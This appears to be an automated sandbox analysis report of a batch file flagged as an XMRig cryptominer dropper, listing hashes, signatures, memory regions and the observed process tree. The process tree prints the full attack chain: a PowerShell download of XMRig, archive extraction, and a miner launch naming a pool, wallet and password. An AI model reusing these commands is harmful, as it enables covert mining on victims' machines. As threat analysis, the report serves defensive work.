Analysis

  • max time kernel
    1795s
  • max time network
    1812s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 07:21

General

  • Target

    tesy - Copy (5).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4052
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4496
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1328
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4852

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          42d4b1d78e6e092af15c7aef34e5cf45

          SHA1

          6cf9d0e674430680f67260194d3185667a2bb77b

          SHA256

          c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

          SHA512

          d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          57b0b4bdeecec28fdc872bbd38b954dd

          SHA1

          940f0bb9fbbcb3acf1a4c5e5f3d54fae24af626a

          SHA256

          98926a63fbd8d887fc4f87f027d473ddf16445919c29849a17069d1296e14389

          SHA512

          5366e6d93efed92e4ac097828763752a9a43fe7166222f5bb3ac4b8cabe7e4262461a8287fdd9dafd1979158f2b30edacf1a79a8b0a8efd82227454184ac2c0a

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1p5cgnbd.rl5.ps1

          Filesize

          1B

          MD5

          c4ca4238a0b923820dcc509a6f75849b

          SHA1

          356a192b7913b04c54574d18c28d46e6395428ab

          SHA256

          6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

          SHA512

          4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

          Filesize

          1.6MB

          MD5

          3872348141aa99d77f0610560a91bdc0

          SHA1

          df86bf71991b76638048e008819efa55a8bf11f6

          SHA256

          da824c2b3aa2fd84643cd8db71c660b06ecd9cf608f56da266429b8b9d1d1e10

          SHA512

          bae7cdb9b0e79562fcc4464c3b89cab0d4146e9a95e5d4b3d82d281dacf81e405d4d5676ce2c2c25e1fcf9ac9d1d0991cfad07c2020b39fd17d19cc82821a145

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

          Filesize

          2.6MB

          MD5

          3234909bc5a8d6460b0e249ed0be4493

          SHA1

          9194c0aed2170e88483f011ed64cb514d764d35b

          SHA256

          2c6f39cf7b135d9455458bfef7aa549868850433f42f29467588fecad9a0d1c5

          SHA512

          fa7745c59b2a47fffc6fafa78423fa2054e8e11870f0be2467b0b1858537c01a5c49cd5b616faf92961c51f442b4cdf9388adbaece1d9cca830bbf77c7c47f47

        • memory/1328-38-0x00007FF9E8340000-0x00007FF9E8D2C000-memory.dmp

          Filesize

          9.9MB

        • memory/1328-41-0x000002B265E30000-0x000002B265E40000-memory.dmp

          Filesize

          64KB

        • memory/1328-42-0x000002B265E30000-0x000002B265E40000-memory.dmp

          Filesize

          64KB

        • memory/1328-117-0x00007FF9E8340000-0x00007FF9E8D2C000-memory.dmp

          Filesize

          9.9MB

        • memory/1328-93-0x000002B266420000-0x000002B26642A000-memory.dmp

          Filesize

          40KB

        • memory/1328-80-0x000002B27E8D0000-0x000002B27E8E2000-memory.dmp

          Filesize

          72KB

        • memory/1328-66-0x000002B265E30000-0x000002B265E40000-memory.dmp

          Filesize

          64KB

        • memory/4496-4-0x0000022D1ABA0000-0x0000022D1ABC2000-memory.dmp

          Filesize

          136KB

        • memory/4496-26-0x00007FF9E8340000-0x00007FF9E8D2C000-memory.dmp

          Filesize

          9.9MB

        • memory/4496-25-0x0000022D18D30000-0x0000022D18D40000-memory.dmp

          Filesize

          64KB

        • memory/4496-10-0x0000022D32D80000-0x0000022D32DF6000-memory.dmp

          Filesize

          472KB

        • memory/4496-9-0x0000022D18D30000-0x0000022D18D40000-memory.dmp

          Filesize

          64KB

        • memory/4496-7-0x0000022D18D30000-0x0000022D18D40000-memory.dmp

          Filesize

          64KB

        • memory/4496-5-0x00007FF9E8340000-0x00007FF9E8D2C000-memory.dmp

          Filesize

          9.9MB

        • memory/4496-27-0x0000022D18D30000-0x0000022D18D40000-memory.dmp

          Filesize

          64KB

        • memory/4496-28-0x0000022D18D30000-0x0000022D18D40000-memory.dmp

          Filesize

          64KB

        • memory/4496-29-0x0000022D18D30000-0x0000022D18D40000-memory.dmp

          Filesize

          64KB

        • memory/4496-34-0x00007FF9E8340000-0x00007FF9E8D2C000-memory.dmp

          Filesize

          9.9MB

        • memory/4852-143-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-155-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-122-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-123-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-124-0x0000025FB4600000-0x0000025FB4620000-memory.dmp

          Filesize

          128KB

        • memory/4852-125-0x0000025FB4620000-0x0000025FB4640000-memory.dmp

          Filesize

          128KB

        • memory/4852-126-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-127-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-128-0x0000025FB4600000-0x0000025FB4620000-memory.dmp

          Filesize

          128KB

        • memory/4852-129-0x0000025FB4620000-0x0000025FB4640000-memory.dmp

          Filesize

          128KB

        • memory/4852-130-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-131-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-132-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-133-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-134-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-135-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-136-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-137-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-138-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-139-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-140-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-141-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-142-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-120-0x0000025FB2BD0000-0x0000025FB2BF0000-memory.dmp

          Filesize

          128KB

        • memory/4852-144-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-145-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-146-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-147-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-148-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-149-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-150-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-151-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-152-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-153-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-154-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-121-0x0000025FB45C0000-0x0000025FB4600000-memory.dmp

          Filesize

          256KB

        • memory/4852-156-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-157-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-158-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-159-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-160-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-161-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-162-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-163-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-164-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-165-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-166-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-167-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-168-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-169-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-170-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-171-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-172-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-173-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-174-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-175-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-176-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-177-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-178-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-179-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-180-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-181-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-182-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-183-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-184-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-185-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-186-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-187-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB

        • memory/4852-188-0x00007FF6FCB50000-0x00007FF6FD653000-memory.dmp

          Filesize

          11.0MB